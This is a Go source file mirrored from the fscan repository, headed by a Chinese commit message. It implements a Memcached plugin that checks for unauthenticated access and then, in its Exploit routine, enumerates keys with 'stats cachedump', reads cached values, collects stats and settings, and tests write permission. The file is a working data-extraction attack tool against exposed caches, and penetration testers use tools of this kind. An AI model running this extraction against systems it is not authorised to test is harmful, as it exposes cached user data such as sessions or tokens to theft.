mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00

将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构, 大幅减少代码重复和维护成本,提升插件开发效率。 主要改进: • 将每个服务插件从3个文件简化为1个文件 • 删除过度设计的工厂模式、适配器模式等抽象层 • 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构 • 实现直接的插件注册机制,提升系统简洁性 • 保持完全向后兼容,所有扫描功能和输出格式不变 重构统计: • 删除文件:100+个复杂架构文件 • 新增文件:20个简化的单文件插件 • 代码减少:每个插件减少60-80%代码量 • 功能增强:所有插件包含完整扫描和利用功能 已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle, Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP, Rsync, SMTP, SNMP, Telnet, VNC 验证通过: 新系统编译运行正常,所有插件功能验证通过
418 lines
10 KiB
Go
418 lines
10 KiB
Go
package plugins
|
||
|
||
import (
|
||
"context"
|
||
"fmt"
|
||
"net"
|
||
"strings"
|
||
"time"
|
||
|
||
"github.com/shadow1ng/fscan/common"
|
||
"github.com/shadow1ng/fscan/common/i18n"
|
||
)
|
||
|
||
// MemcachedPlugin Memcached分布式缓存系统扫描和利用插件 - 包含缓存数据提取利用功能
|
||
type MemcachedPlugin struct {
|
||
name string
|
||
ports []int
|
||
}
|
||
|
||
// NewMemcachedPlugin 创建Memcached插件
|
||
func NewMemcachedPlugin() *MemcachedPlugin {
|
||
return &MemcachedPlugin{
|
||
name: "memcached",
|
||
ports: []int{11211, 11212, 11213}, // Memcached端口
|
||
}
|
||
}
|
||
|
||
// GetName 实现Plugin接口
|
||
func (p *MemcachedPlugin) GetName() string {
|
||
return p.name
|
||
}
|
||
|
||
// GetPorts 实现Plugin接口
|
||
func (p *MemcachedPlugin) GetPorts() []int {
|
||
return p.ports
|
||
}
|
||
|
||
// Scan 执行Memcached扫描 - 未授权访问检测
|
||
func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||
|
||
// 如果禁用暴力破解,只做服务识别
|
||
if common.DisableBrute {
|
||
return p.identifyService(ctx, info)
|
||
}
|
||
|
||
// Memcached主要检查未授权访问
|
||
if result := p.testUnauthorizedAccess(ctx, info); result != nil && result.Success {
|
||
common.LogSuccess(i18n.GetText("memcached_unauth_success", target))
|
||
return result
|
||
}
|
||
|
||
// 未授权访问失败
|
||
return &ScanResult{
|
||
Success: false,
|
||
Service: "memcached",
|
||
Error: fmt.Errorf("Memcached服务连接失败"),
|
||
}
|
||
}
|
||
|
||
// Exploit 执行Memcached利用操作 - 实现缓存数据提取功能
|
||
func (p *MemcachedPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
|
||
// 建立Memcached连接
|
||
conn := p.connectToMemcached(ctx, info)
|
||
if conn == nil {
|
||
return &ExploitResult{
|
||
Success: false,
|
||
Error: fmt.Errorf("Memcached连接失败"),
|
||
}
|
||
}
|
||
defer conn.Close()
|
||
|
||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||
common.LogSuccess(fmt.Sprintf("Memcached利用开始: %s", target))
|
||
|
||
var output strings.Builder
|
||
output.WriteString(fmt.Sprintf("=== Memcached利用结果 - %s ===\n", target))
|
||
|
||
// 获取服务器统计信息
|
||
if stats := p.getStats(conn); stats != "" {
|
||
output.WriteString(fmt.Sprintf("\n[服务器统计]\n%s\n", stats))
|
||
}
|
||
|
||
// 获取版本信息
|
||
if version := p.getVersion(conn); version != "" {
|
||
output.WriteString(fmt.Sprintf("\n[版本信息]\n%s\n", version))
|
||
}
|
||
|
||
// 获取所有键
|
||
if keys := p.getAllKeys(conn); len(keys) > 0 {
|
||
output.WriteString(fmt.Sprintf("\n[缓存键] (共%d个)\n", len(keys)))
|
||
for i, key := range keys {
|
||
if i >= 20 { // 限制显示前20个键
|
||
output.WriteString("... (更多键值)\n")
|
||
break
|
||
}
|
||
// 获取键的值
|
||
value := p.getValue(conn, key)
|
||
if len(value) > 100 {
|
||
value = value[:100] + "..."
|
||
}
|
||
output.WriteString(fmt.Sprintf(" %s: %s\n", key, value))
|
||
}
|
||
}
|
||
|
||
// 获取设置信息
|
||
if settings := p.getSettings(conn); settings != "" {
|
||
output.WriteString(fmt.Sprintf("\n[配置设置]\n%s\n", settings))
|
||
}
|
||
|
||
// 测试写权限
|
||
if writeTest := p.testWritePermission(conn); writeTest != "" {
|
||
output.WriteString(fmt.Sprintf("\n[写权限测试]\n%s\n", writeTest))
|
||
}
|
||
|
||
common.LogSuccess(fmt.Sprintf("Memcached利用完成: %s", target))
|
||
|
||
return &ExploitResult{
|
||
Success: true,
|
||
Output: output.String(),
|
||
}
|
||
}
|
||
|
||
// testUnauthorizedAccess 测试未授权访问
|
||
func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||
conn := p.connectToMemcached(ctx, info)
|
||
if conn == nil {
|
||
return nil
|
||
}
|
||
defer conn.Close()
|
||
|
||
// 尝试执行stats命令测试
|
||
if p.testBasicCommand(conn) {
|
||
return &ScanResult{
|
||
Success: true,
|
||
Service: "memcached",
|
||
Banner: "未授权访问",
|
||
}
|
||
}
|
||
|
||
return nil
|
||
}
|
||
|
||
// connectToMemcached 连接到Memcached服务
|
||
func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.HostInfo) net.Conn {
|
||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||
timeout := time.Duration(common.Timeout) * time.Second
|
||
|
||
conn, err := net.DialTimeout("tcp", target, timeout)
|
||
if err != nil {
|
||
return nil
|
||
}
|
||
|
||
// 设置操作超时
|
||
conn.SetDeadline(time.Now().Add(timeout))
|
||
|
||
return conn
|
||
}
|
||
|
||
// testBasicCommand 测试基本命令
|
||
func (p *MemcachedPlugin) testBasicCommand(conn net.Conn) bool {
|
||
timeout := time.Duration(common.Timeout) * time.Second
|
||
|
||
// 发送version命令
|
||
conn.SetWriteDeadline(time.Now().Add(timeout))
|
||
if _, err := conn.Write([]byte("version\r\n")); err != nil {
|
||
return false
|
||
}
|
||
|
||
// 读取响应
|
||
conn.SetReadDeadline(time.Now().Add(timeout))
|
||
response := make([]byte, 1024)
|
||
n, err := conn.Read(response)
|
||
if err != nil {
|
||
return false
|
||
}
|
||
|
||
responseStr := string(response[:n])
|
||
return strings.Contains(responseStr, "VERSION") || strings.Contains(responseStr, "memcached")
|
||
}
|
||
|
||
// sendCommand 发送Memcached命令
|
||
func (p *MemcachedPlugin) sendCommand(conn net.Conn, command string) string {
|
||
timeout := time.Duration(common.Timeout) * time.Second
|
||
|
||
conn.SetWriteDeadline(time.Now().Add(timeout))
|
||
if _, err := conn.Write([]byte(command + "\r\n")); err != nil {
|
||
return ""
|
||
}
|
||
|
||
conn.SetReadDeadline(time.Now().Add(timeout))
|
||
response := make([]byte, 4096)
|
||
n, err := conn.Read(response)
|
||
if err != nil {
|
||
return ""
|
||
}
|
||
|
||
return strings.TrimSpace(string(response[:n]))
|
||
}
|
||
|
||
// getStats 获取统计信息
|
||
func (p *MemcachedPlugin) getStats(conn net.Conn) string {
|
||
response := p.sendCommand(conn, "stats")
|
||
if response == "" {
|
||
return ""
|
||
}
|
||
|
||
lines := strings.Split(response, "\n")
|
||
var stats strings.Builder
|
||
|
||
for _, line := range lines {
|
||
line = strings.TrimSpace(line)
|
||
if strings.HasPrefix(line, "STAT") {
|
||
parts := strings.Fields(line)
|
||
if len(parts) >= 3 {
|
||
key := parts[1]
|
||
value := parts[2]
|
||
|
||
// 只显示重要的统计信息
|
||
if key == "version" || key == "uptime" || key == "curr_items" ||
|
||
key == "total_items" || key == "bytes" || key == "curr_connections" ||
|
||
key == "cmd_get" || key == "cmd_set" || key == "get_hits" || key == "get_misses" {
|
||
stats.WriteString(fmt.Sprintf("%s: %s\n", key, value))
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
return stats.String()
|
||
}
|
||
|
||
// getVersion 获取版本信息
|
||
func (p *MemcachedPlugin) getVersion(conn net.Conn) string {
|
||
response := p.sendCommand(conn, "version")
|
||
if strings.HasPrefix(response, "VERSION") {
|
||
return strings.TrimPrefix(response, "VERSION ")
|
||
}
|
||
return ""
|
||
}
|
||
|
||
// getAllKeys 获取所有键(通过stats cachedump)
|
||
func (p *MemcachedPlugin) getAllKeys(conn net.Conn) []string {
|
||
var keys []string
|
||
|
||
// 首先获取slabs信息
|
||
slabsResponse := p.sendCommand(conn, "stats slabs")
|
||
if slabsResponse == "" {
|
||
return keys
|
||
}
|
||
|
||
// 解析slab ID
|
||
slabIDs := make(map[string]bool)
|
||
lines := strings.Split(slabsResponse, "\n")
|
||
for _, line := range lines {
|
||
line = strings.TrimSpace(line)
|
||
if strings.HasPrefix(line, "STAT") {
|
||
parts := strings.Fields(line)
|
||
if len(parts) >= 2 {
|
||
statName := parts[1]
|
||
// 格式如: "1:chunk_size"
|
||
if strings.Contains(statName, ":") {
|
||
slabID := strings.Split(statName, ":")[0]
|
||
slabIDs[slabID] = true
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// 对每个slab ID执行cachedump
|
||
for slabID := range slabIDs {
|
||
if len(keys) >= 50 { // 限制键的数量
|
||
break
|
||
}
|
||
|
||
dumpCmd := fmt.Sprintf("stats cachedump %s 50", slabID)
|
||
dumpResponse := p.sendCommand(conn, dumpCmd)
|
||
|
||
dumpLines := strings.Split(dumpResponse, "\n")
|
||
for _, line := range dumpLines {
|
||
line = strings.TrimSpace(line)
|
||
if strings.HasPrefix(line, "ITEM") {
|
||
parts := strings.Fields(line)
|
||
if len(parts) >= 2 {
|
||
key := parts[1]
|
||
keys = append(keys, key)
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
return keys
|
||
}
|
||
|
||
// getValue 获取键的值
|
||
func (p *MemcachedPlugin) getValue(conn net.Conn, key string) string {
|
||
getCmd := fmt.Sprintf("get %s", key)
|
||
response := p.sendCommand(conn, getCmd)
|
||
|
||
lines := strings.Split(response, "\n")
|
||
for i, line := range lines {
|
||
line = strings.TrimSpace(line)
|
||
if strings.HasPrefix(line, "VALUE") {
|
||
// VALUE行的下一行是实际值
|
||
if i+1 < len(lines) {
|
||
value := strings.TrimSpace(lines[i+1])
|
||
if value != "END" {
|
||
return value
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
return "[无法获取]"
|
||
}
|
||
|
||
// getSettings 获取设置信息
|
||
func (p *MemcachedPlugin) getSettings(conn net.Conn) string {
|
||
response := p.sendCommand(conn, "stats settings")
|
||
if response == "" {
|
||
return ""
|
||
}
|
||
|
||
lines := strings.Split(response, "\n")
|
||
var settings strings.Builder
|
||
|
||
for _, line := range lines {
|
||
line = strings.TrimSpace(line)
|
||
if strings.HasPrefix(line, "STAT") {
|
||
parts := strings.Fields(line)
|
||
if len(parts) >= 3 {
|
||
key := parts[1]
|
||
value := parts[2]
|
||
|
||
// 只显示重要的设置
|
||
if key == "maxbytes" || key == "maxconns" || key == "growth_factor" ||
|
||
key == "chunk_size" || key == "num_threads" || key == "cas_enabled" {
|
||
settings.WriteString(fmt.Sprintf("%s: %s\n", key, value))
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
return settings.String()
|
||
}
|
||
|
||
// testWritePermission 测试写权限
|
||
func (p *MemcachedPlugin) testWritePermission(conn net.Conn) string {
|
||
// 尝试设置一个测试键
|
||
setCmd := "set fscan_test 0 60 11\r\nfscan_test\r\n"
|
||
|
||
timeout := time.Duration(common.Timeout) * time.Second
|
||
conn.SetWriteDeadline(time.Now().Add(timeout))
|
||
if _, err := conn.Write([]byte(setCmd)); err != nil {
|
||
return "❌ 无写权限: " + err.Error()
|
||
}
|
||
|
||
conn.SetReadDeadline(time.Now().Add(timeout))
|
||
response := make([]byte, 512)
|
||
n, err := conn.Read(response)
|
||
if err != nil {
|
||
return "❌ 写入测试失败: " + err.Error()
|
||
}
|
||
|
||
responseStr := strings.TrimSpace(string(response[:n]))
|
||
if responseStr == "STORED" {
|
||
// 删除测试键
|
||
p.sendCommand(conn, "delete fscan_test")
|
||
return "✅ 具有读写权限"
|
||
}
|
||
|
||
return "❌ 写入失败: " + responseStr
|
||
}
|
||
|
||
// identifyService 服务识别 - 检测Memcached服务
|
||
func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||
|
||
conn := p.connectToMemcached(ctx, info)
|
||
if conn == nil {
|
||
return &ScanResult{
|
||
Success: false,
|
||
Service: "memcached",
|
||
Error: fmt.Errorf("无法连接到Memcached服务"),
|
||
}
|
||
}
|
||
defer conn.Close()
|
||
|
||
// 尝试识别Memcached协议
|
||
version := p.getVersion(conn)
|
||
var banner string
|
||
|
||
if version != "" {
|
||
banner = fmt.Sprintf("Memcached服务 (版本: %s)", version)
|
||
} else if p.testBasicCommand(conn) {
|
||
banner = "Memcached分布式缓存服务"
|
||
} else {
|
||
return &ScanResult{
|
||
Success: false,
|
||
Service: "memcached",
|
||
Error: fmt.Errorf("无法识别为Memcached服务"),
|
||
}
|
||
}
|
||
|
||
common.LogSuccess(i18n.GetText("memcached_service_identified", target, banner))
|
||
|
||
return &ScanResult{
|
||
Success: true,
|
||
Service: "memcached",
|
||
Banner: banner,
|
||
}
|
||
}
|
||
|
||
// init 自动注册插件
|
||
func init() {
|
||
RegisterPlugin("memcached", func() Plugin {
|
||
return NewMemcachedPlugin()
|
||
})
|
||
} |